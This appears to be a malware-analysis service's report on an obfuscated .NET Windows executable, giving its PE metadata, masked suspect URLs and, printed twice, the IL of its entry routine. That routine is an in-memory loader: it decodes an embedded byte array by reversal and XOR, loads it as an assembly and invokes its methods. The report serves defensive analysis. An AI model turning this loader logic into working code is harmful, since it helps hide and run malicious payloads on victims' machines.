Deep Malware Analysis of 843e725eba3cd24a9bf3c6732d8de93f | md5: 843e725eba3cd24a9bf3c6732d8de93f | Executable | PE (Portable Executable) | Managed .NET | PE File Layout | Win 32 Exe | x86 | .Net | SOS: 0.85

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.

Symbol Obfuscation Score Very high

PeID

.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET

Name	Value
Info	PE Detect: PeReader OK (file layout)
Info	Authenticode present at 0x257A00 size 18264 bytes
Module Name	Dg0cixZ
Full Name	Dg0cixZ
EntryPoint	System.Void Dg0cixZ.iz5PG::Wpw1m8iALg0rf()
Scope Name	Dg0cixZ
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	Dg0cixZ
Assembly Version	1.9.2.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	.NETFramework,Version=v4.6
Total Strings	981
Main Method	System.Void Dg0cixZ.iz5PG::Wpw1m8iALg0rf()
Main IL Instruction Count	125
Main IL	nop <null> nop <null> ldc.i4.s 20 call System.Void System.Threading.Thread::Sleep(System.Int32) nop <null> call System.Byte[] Dg0cixZ.ge0L4NjoTpw7::Ss3p6jpTxN() call System.Collections.Generic.IEnumerable`1<System.Byte> System.Linq.Enumerable::Reverse<System.Byte>(System.Collections.Generic.IEnumerable`1<System.Byte>) call System.Byte[] System.Linq.Enumerable::ToArray<System.Byte>(System.Collections.Generic.IEnumerable`1<System.Byte>) stloc.0 <null> ldloc.0 <null> ldlen <null> conv.i4 <null> ldc.i4.1 <null> sub.ovf <null> stloc.s V_4 ldc.i4.0 <null> stloc.s V_5 br.s IL_0049: ldloc.s V_5 ldloc.s V_5 ldc.i4.8 <null> rem <null> ldc.i4.0 <null> ceq <null> stloc.s V_6 ldloc.s V_6 brfalse.s IL_0042: nop ldloc.0 <null> ldloc.s V_5 ldloc.0 <null> ldloc.s V_5 ldelem.u1 <null> ldc.i4 211 xor <null> stelem.i1 <null> nop <null> nop <null> ldloc.s V_5 ldc.i4.1 <null> add.ovf <null> stloc.s V_5 ldloc.s V_5 ldloc.s V_4 ble.s IL_0026: ldloc.s V_5 ldloc.0 <null> call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[]) stloc.1 <null> ldloc.1 <null> callvirt System.Type[] System.Reflection.Assembly::GetTypes() stloc.2 <null> ldloc.2 <null> ldlen <null> conv.i4 <null> ldc.i4.s 24 cgt <null> ldc.i4.0 <null> ceq <null> stloc.s V_7 ldloc.s V_7 brfalse.s IL_006F: ldloc.2 leave.s IL_00EA: ret ldloc.2 <null> ldc.i4.s 24 ldelem.ref <null> stloc.3 <null> ldloc.3 <null> ldnull <null> ceq <null> stloc.s V_8 ldloc.s V_8 brfalse.s IL_0080: ldloc.3 leave.s IL_00EA: ret ldloc.3 <null> ldc.i4.s 56 callvirt System.Reflection.MethodInfo[] System.Type::GetMethods(System.Reflection.BindingFlags) stloc.s V_9 ldc.i4.0 <null> stloc.s V_10 br.s IL_00CC: ldloc.s V_10 ldloc.s V_9 ldloc.s V_10 ldelem.ref <null> stloc.s V_11 ldloc.s V_11 callvirt System.Reflection.ParameterInfo[] System.Reflection.MethodBase::GetParameters() ldlen <null> conv.i4 <null> ldc.i4.0 <null> ceq <null> stloc.s V_12 ldloc.s V_12 brfalse.s IL_00C4: nop nop <null> ldloc.s V_11 ldnull <null> ldnull <null> callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[]) pop <null> leave.s IL_00C2: nop call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) nop <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00C2: nop nop <null> nop <null> nop <null> nop <null> ldloc.s V_10 ldc.i4.1 <null> add.ovf <null> stloc.s V_10 ldloc.s V_10 ldloc.s V_9 ldlen <null> conv.i4 <null> clt <null> stloc.s V_13 ldloc.s V_13 brtrue.s IL_008F: ldloc.s V_9 leave.s IL_00E9: nop call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) nop <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00E9: nop nop <null> ret <null>
Module Name	Dg0cixZ
Full Name	Dg0cixZ
EntryPoint	System.Void Dg0cixZ.iz5PG::Wpw1m8iALg0rf()
Scope Name	Dg0cixZ
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	Dg0cixZ
Assembly Version	1.9.2.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	.NETFramework,Version=v4.6
Total Strings	981
Main Method	System.Void Dg0cixZ.iz5PG::Wpw1m8iALg0rf()
Main IL Instruction Count	125
Main IL	nop <null> nop <null> ldc.i4.s 20 call System.Void System.Threading.Thread::Sleep(System.Int32) nop <null> call System.Byte[] Dg0cixZ.ge0L4NjoTpw7::Ss3p6jpTxN() call System.Collections.Generic.IEnumerable`1<System.Byte> System.Linq.Enumerable::Reverse<System.Byte>(System.Collections.Generic.IEnumerable`1<System.Byte>) call System.Byte[] System.Linq.Enumerable::ToArray<System.Byte>(System.Collections.Generic.IEnumerable`1<System.Byte>) stloc.0 <null> ldloc.0 <null> ldlen <null> conv.i4 <null> ldc.i4.1 <null> sub.ovf <null> stloc.s V_4 ldc.i4.0 <null> stloc.s V_5 br.s IL_0049: ldloc.s V_5 ldloc.s V_5 ldc.i4.8 <null> rem <null> ldc.i4.0 <null> ceq <null> stloc.s V_6 ldloc.s V_6 brfalse.s IL_0042: nop ldloc.0 <null> ldloc.s V_5 ldloc.0 <null> ldloc.s V_5 ldelem.u1 <null> ldc.i4 211 xor <null> stelem.i1 <null> nop <null> nop <null> ldloc.s V_5 ldc.i4.1 <null> add.ovf <null> stloc.s V_5 ldloc.s V_5 ldloc.s V_4 ble.s IL_0026: ldloc.s V_5 ldloc.0 <null> call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[]) stloc.1 <null> ldloc.1 <null> callvirt System.Type[] System.Reflection.Assembly::GetTypes() stloc.2 <null> ldloc.2 <null> ldlen <null> conv.i4 <null> ldc.i4.s 24 cgt <null> ldc.i4.0 <null> ceq <null> stloc.s V_7 ldloc.s V_7 brfalse.s IL_006F: ldloc.2 leave.s IL_00EA: ret ldloc.2 <null> ldc.i4.s 24 ldelem.ref <null> stloc.3 <null> ldloc.3 <null> ldnull <null> ceq <null> stloc.s V_8 ldloc.s V_8 brfalse.s IL_0080: ldloc.3 leave.s IL_00EA: ret ldloc.3 <null> ldc.i4.s 56 callvirt System.Reflection.MethodInfo[] System.Type::GetMethods(System.Reflection.BindingFlags) stloc.s V_9 ldc.i4.0 <null> stloc.s V_10 br.s IL_00CC: ldloc.s V_10 ldloc.s V_9 ldloc.s V_10 ldelem.ref <null> stloc.s V_11 ldloc.s V_11 callvirt System.Reflection.ParameterInfo[] System.Reflection.MethodBase::GetParameters() ldlen <null> conv.i4 <null> ldc.i4.0 <null> ceq <null> stloc.s V_12 ldloc.s V_12 brfalse.s IL_00C4: nop nop <null> ldloc.s V_11 ldnull <null> ldnull <null> callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[]) pop <null> leave.s IL_00C2: nop call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) nop <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00C2: nop nop <null> nop <null> nop <null> nop <null> ldloc.s V_10 ldc.i4.1 <null> add.ovf <null> stloc.s V_10 ldloc.s V_10 ldloc.s V_9 ldlen <null> conv.i4 <null> clt <null> stloc.s V_13 ldloc.s V_13 brtrue.s IL_008F: ldloc.s V_9 leave.s IL_00E9: nop call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) nop <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00E9: nop nop <null> ret <null>

URLs in VB Code - #1 URIsuspect

https:huhuhuhuhuhuhuhuhuhuhu

URLs in VB Code - #2 URIsuspect

http:/huhuhuhuhuhuhuhuhuhuhu

URLs in VB Code - #3 URIsuspect

http:/huhuhuhuhuhuhuhuhuhuhu

URLs in VB Code - #4 URIsuspect

http:/huhuhuhuhuhuhuhuhuhuhu

URLs in VB Code - #5 URIsuspect

https:huhuhuhuhuhuhuhuhuhuhu

URLs in VB Code - #6 URIsuspect

http:/huhuhuhuhuhuhuhuhuhuhu

URLs in VB Code - #7 URIsuspect

http:/huhuhuhuhuhuhuhuhuhuhu

URLs in VB Code - #8 URIsuspect

http:/huhuhuhuhuhuhuhuhuhuhu

URLs in VB Code - #9 URIsuspect

http:/huhuhuhuhuhuhuhuhuhuhu

URLs in VB Code - #10 URIsuspect

http:/huhuhuhuhuhuhuhuhuhuhu

URLs in VB Code - #11 URIsuspect

http:/huhuhuhuhuhuhuhuhuhuhu

URLs in VB Code - #12 URIsuspect

https:huhuhuhuhuhuhuhuhuhuhu

URLs in VB Code - #13 URIsuspect

http:/huhuhuhuhuhuhuhuhuhuhu

URLs in VB Code - #14 URIsuspect

http:/huhuhuhuhuhuhuhuhuhuhu

URLs in VB Code - #15 URIsuspect

http:/huhuhuhuhuhuhuhuhuhuhu

Full artefact values (URLs, paths, registry keys, scripts…) are available with Essential.

Unlock with Essential